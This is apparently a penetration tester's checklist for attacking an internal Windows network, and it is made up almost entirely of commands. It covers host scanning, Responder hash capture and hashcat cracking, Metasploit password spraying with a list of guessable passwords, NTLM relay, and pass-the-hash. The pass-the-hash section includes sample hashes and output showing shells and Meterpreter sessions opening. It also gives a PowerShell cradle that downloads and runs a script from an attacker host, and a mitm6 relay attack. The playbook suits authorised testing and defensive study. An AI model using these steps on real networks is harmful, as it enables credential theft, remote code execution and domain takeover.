Basic Internal Network test

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Slightly less than the minimum standard
Host Discovery
Nmap Ping Scan Private Ranges and start responder
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responder -i eth0
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​
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nmap -sn -n 10.0.0.0/8 | tee -a Targets.tmp
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nmap -sn -n 172.16.0.0/12 | tee -a Targets.tmp 
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nmap -sn -n 192.168.0.0/16 | tee -a Targets.tmp
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​
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# Loud so only use if required
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masscan 10.0.0.0/8 -p80,445,22 --rate 100000000 | tee -a Targets.tmp
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masscan 172.16.0.0/12  -p80,445,22 --rate 100000000 | tee -a Targets.tmp
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masscan 192.168.0.0/16  -p80,445,22 --rate 100000000 | tee -a Targets.tmp
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​
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#Note down IP addresses from responder
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responder -I eth0
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cat /usr/share/responder/logs/Responder-Session.log | grep answer | awk '{print $11}' | sort -u | tee -a Targets.tmp
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​
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#Note current IP address & scan range
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ifconfig
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nmap --top-ports 10 10.0.0.1/24 -Pn | tee -a Targets.tmp
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​
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#netdiscover
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netdiscover -i eth0 -P
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​
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#NBTScan
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nbtscan 192.168.1.0/24
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Now cat grep and sort the IP addresses into a file called Targets.txt
Nmap Scans
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mkdir Scans
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nmap -p 21 -n --open -iL targets -oA Scans/ftp
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nmap -p 22 -n --open -iL targets -oA Scans/ssh
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nmap -p 23 -n --open -iL targets -oA Scans/telnet
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nmap -p 80 -n --open -iL targets -oA Scans/http
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nmap -p 443 -n --open -iL targets -oA Scans/https
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nmap -p 445 -n --open -iL targets -oA Scans/smb
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nmap -p 3389 -n --open -iL targets -oA Scans/rdp
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​
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cat Scans/ftp.nmap | grep for | cut -d " " -f 5 > ftphosts.txt
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cat Scans/ssh.nmap | grep for | cut -d " " -f 5 > sshhosts.txt
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cat Scans/telnet.nmap | grep for | cut -d " " -f 5 > telnethosts.txt
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cat Scans/http.nmap | grep for | cut -d " " -f 5 > httphosts.txt
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cat Scans/https.nmap | grep for | cut -d " " -f 5 > httpshosts.txt
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cat Scans/smb.nmap | grep for | cut -d " " -f 5 > smbhosts.txt
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cat Scans/rdp.nmap | grep for | cut -d " " -f 5 > rdphosts.txt
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Scanning
Start Nessus on discovered IP addresses 
Run AutoScan.sh against all Targets.txt
Modify if running slowly (thousands of hosts) and reduce the amount of ports it is looking at.
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#!/bin/bash
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for Target in $(cat Targets.txt)
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do
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echo "---------------------------------------------------------------" | tee -a Scanner.log
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echo "Auto Scanner"  | tee -a Scanner.log
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echo "$Target - Scanned: $(date)" | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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echo ""  | tee -a Scanner.log
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echo "---------------------------------------------------------------" | tee -a Scanner.log
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echo "TCP Scan Started: $(date)"  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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#Full
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nmap -Pn -sSVC -O --top-ports 1000 -oN $Target-01-NmapTCP.txt $Target  | tee -a Scanner.log
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#Fast
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#nmap -Pn -sSVC -O --top-ports 1000 -oN $Target-01-NmapTCP.txt $Target  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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echo "UDP Scan Started: $(date)"  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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#Full
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#nmap -sUV -sC --top-ports 200 -oN $Target-02-NmapUDP.txt $Target  | tee -a Scanner.log
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#Fast
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nmap -sUV -sC --top-ports 10 -oN $Target-02-NmapUDP.txt $Target  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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echo "Nikto Scan Started: $(date)"  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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nikto -p 80,443,8000,8080 -h $Target | tee $Target-03-Nikto.txt  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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echo "SSL Scan Started: $(date)"  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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sslscan --show-certificate --no-colour $Target | tee $Target-04-SSLScan.txt  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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echo "Directory Scan Started: $(date)"  | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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gobuster -u http://$Target/ -w /root/Data/Tools/Wordlists/Dirbuster/Fast.txt -q -e -t 10 | tee -a $Target-05-Directories.txt  | tee -a Scanner.log
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gobuster -k -u https://$Target/ -w /root/Data/Tools/Wordlists/Dirbuster/Fast.txt -q -e -t 10 | tee -a $Target-05-Directories.txt  | tee -a Scanner.log
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done
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for Target in $(cat Targets.txt)
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do
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cat $Target-01-NmapTCP.txt | grep /tcp | grep open >> "$Target"_Ports.txt 2> /dev/null
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cat $Target-02-NmapUDP.txt | grep /udp | grep open | grep -v filtered >> "$Target"_Ports.txt 2> /dev/null
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(
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input="$Target"_Ports.txt      
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while IFS= read -r port
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do     
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echo "$Target":"$port" >> ServicesList.txt
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done <         "$Target"_Ports.txt
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)
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rm *_Ports.txt
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done
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echo
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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echo "The following services were found:" | tee -a Scanner.log
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echo "---------------------------------------------------------------"  | tee -a Scanner.log
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cat ServicesList.txt | tee -a Scanner.log
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done
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Check responder for hashes and crack with hashcat
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hashcat --force -m 5600 Hashes.txt /path/to/wordlist -r /path/to/rules
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Once you have some hashes test with several wordlists, if none work then scrape the clients website for words with cewl
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cewl -w clientwordlist.txt -d 5 -m 8 https://www.clientsite.com/
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Then repeat the cracking process with a good rule list.
Domain enumeration
Get DC List
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# Windows command
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nltest /DCLIST:domain.local
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​
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# Linux Commands
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cat /etc/resolv.conf
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​
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nmap -p 88,389,636 -iL Targets.txt --open
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​
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for i in (cat Targets.txt); do nslookup $i | grep "dc"; done 
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​
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nslookup 
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> set type=all
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_ldap._tcp.dc._msdcs.DOMAIN
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Get user list
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rpcclient -U "domain\\username" 10.0.0.1 (DC)
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rpcclient gt; enumdomusers
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Copy list of users to "rpcuserlist.txt" file and sort:
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cat rpcuserlist.txt | cut -d "[" -f 2 | cut -d "]" -f 1 | sort -u > DomainUsers.txt
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Password spray domain users 
Set a timer for every 30 minutes and rerun this attack.
May be worth checking the password lockout policy with the client if in a sensitive environment.
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msfconsole -q
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set rhosts domaincontrollerip
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use auxiliary/scanner/smb/smb_login
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set SMBDomain domain
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set USER_FILE DomainUsers.txt
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set SMBPass firstpassword
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date << adds a timestamp
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run
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When time is up change the password and rerun.
Passwords to try:
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Clientname2019
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Location2019
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Password12345!
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Summer2019!
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Spring2019!
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Summer2018!
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Password2018!
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Welcome2018!
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Password 2018!
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[email protected]
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Find open file servers 
SMB Map
Find open SMB shares which are available unauthenticated
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for i in $(cat 00-Targets.txt);do smbmap -H $i; done | tee -a SMBMap-Output.txt
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Find open writable shares and search for authenticated file servers:
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for i in $(cat Targets.txt);do smbmap -u 'username' -p 'password' -d 'domain' -H $i; done | tee -a SMBMap-Output.txt
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leafpad SMBMap-Output.txt 
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ctrl + f WRITE (Search for writable folders)
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EyeWitness
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python /root/Data/Tools/EyeWitness/EyeWitness.py --all-protocols -x NmapTCP.xml
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NTLM Relay
Modify Responder.conf to turn off HTTP and SMB
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[Responder Core]
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​
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; Servers to start
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SQL = On
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SMB = Off << turn off
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Kerberos = On
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FTP = On
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POP = On
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SMTP = On
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IMAP = On
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HTTP = Off << turn off
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HTTPS = On
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DNS = On
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LDAP = On
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Start responder
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python Responder.py -I <interface> -r -d -w
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responder -I <interface> -r -d -w
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Create a list of targets with SMB signing disabled.
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nmap -n -p 137,139,445 --script=smb-security-mode 192.168.1.0/24 | grep disabled -B 15 | grep for | cut -d " " -f 5 | tee -a smbsigningdisabled.txt 
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Now start ntlmrelayx.py against the targets
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python /usr/share/doc/python-impacket/examples/ntlmrelayx.py -tf smbsigningdisabled.txt
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If you capture a high priv users account it will drop the hashes from the system
Now use psexec within metasploit to login to the target
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msfconsole
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use exploit/windows/smb/psexec
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set lhost 192.168.1.1
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set rhost 192.168.1.11
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set smbpass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
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exploit
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Pass the hash
Either will do, once the enumeration has finished upload the csv files to your attacker machine.
Then run 
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python ntlmrelayx.py -tf smbsigningdisabled.txt
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[email protected]:~# pth-winexe -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25
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# Where WORKGROUP is the default WORKGROUP. Can be replaced by a domain name
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# Administrator: account's name
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# aad3b435b51404eeaad3b435b51404ee: Empty LM HASH
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# C0F2E311D3F450A7FF2571BB59FBEDE5: NTLM hash 
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[email protected]:~# pth-winexe -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25 cmd.exe
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E_md4hash wrapper called.
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HASH PASS: Substituting user supplied NTLM HASH...
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Microsoft Windows \[Version 6.3.9600\]
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(c) 2013 Microsoft Corporation. All rights reserved.
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​
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C:\Windows\system32>whoami
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Server\Administrator
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[email protected]:~# pth-wmic -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25 "select Name from Win32_UserAccount"
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[email protected]:~# pth-wims -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25 "cmd.exe /c whoami > c:\temp\result.txt"
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[email protected]:~# pth-smbclient -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25/c$
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[email protected]:~# pth-rpcclient -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25
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[email protected]:~# wmiexec.py  -hashes aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 [email protected]
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Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
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​
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[*] SMBv3.0 dialect used
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[!] Launching semi-interactive shell - Careful what you execute
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[!] Press help for extra shell commands
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C:\>
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[email protected]:~# apt-get update
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[email protected]:~# apt-get install freerdp-x11
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[email protected]:~# xfreerpd /u:richard /d:workgroup /pth:C0F2E311D3F450A7FF2571BB59FBEDE5 /v:192.168.1.25
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msf > use auxiliary/admin/smb/psexec_command
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msf auxiliary(psexec_command) > set SMBPass aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 
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msf exploit(psexec) > set SMBUser Administrator 
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msf exploit(psexec) > set SMBDomain WORKGROUP
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msf exploit(psexec) > run
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[*] Started reverse TCP handler on 192.168.1.24:4444 
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[*] 192.168.1.25:445 - Connecting to the server...
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[*] 192.168.1.25:445 - Authenticating to 192.168.1.25:445|WORKGROUP as user 'administrator'...
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[*] 192.168.1.25:445 - Selecting PowerShell target
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[*] 192.168.1.25:445 - Executing the payload...
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[+] 192.168.1.25:445 - Service start timed out, OK if running a command or non-service executable...
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[*] Sending stage (957999 bytes) to 192.168.1.25
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[*] Meterpreter session 1 opened (192.168.1.24:4444 -> 192.168.1.25:49173) at 2017-04-05 22:48:15 +0200
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​
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meterpreter > exit
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This will output the local hashes if you capture a domain admins NTLM hash.
Once you have this hash, login to the machine with metasploits psexec pass the hash or psexec.py
Bloodhound
Once on the domain as a windows user run the following:
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powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attackerip/BloodHound.ps1')"
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powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attackerip/SharpHound.exe')"
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Once on your attacker machine make sure you have bloodhound installed and then execute:
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neoj4 console
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bloodhound
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Visit 127.0.0.1:7687
Enter your password and upload the csv files you extracted from the target.
Click queries and then find shortest path to domain admin
MITM6
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git clone https://github.com/fox-it/mitm6.git
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cd mitm6
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mitm6 -d domain.local
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In a new window
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ntlmrelayx.py -6 -t ldaps://domaincontrollerip -wh fakewpad.domain.local -l data
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Wait 30 mins to an hour for the IPV6 to update
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cd data
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firefox domain_users_by_group.html
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Review ntlmrelayx.py output and look for new user and password added when a DA logs in
The worst of both worlds: Combining NTLM Relaying and Kerberos delegation
dirkjanm.io
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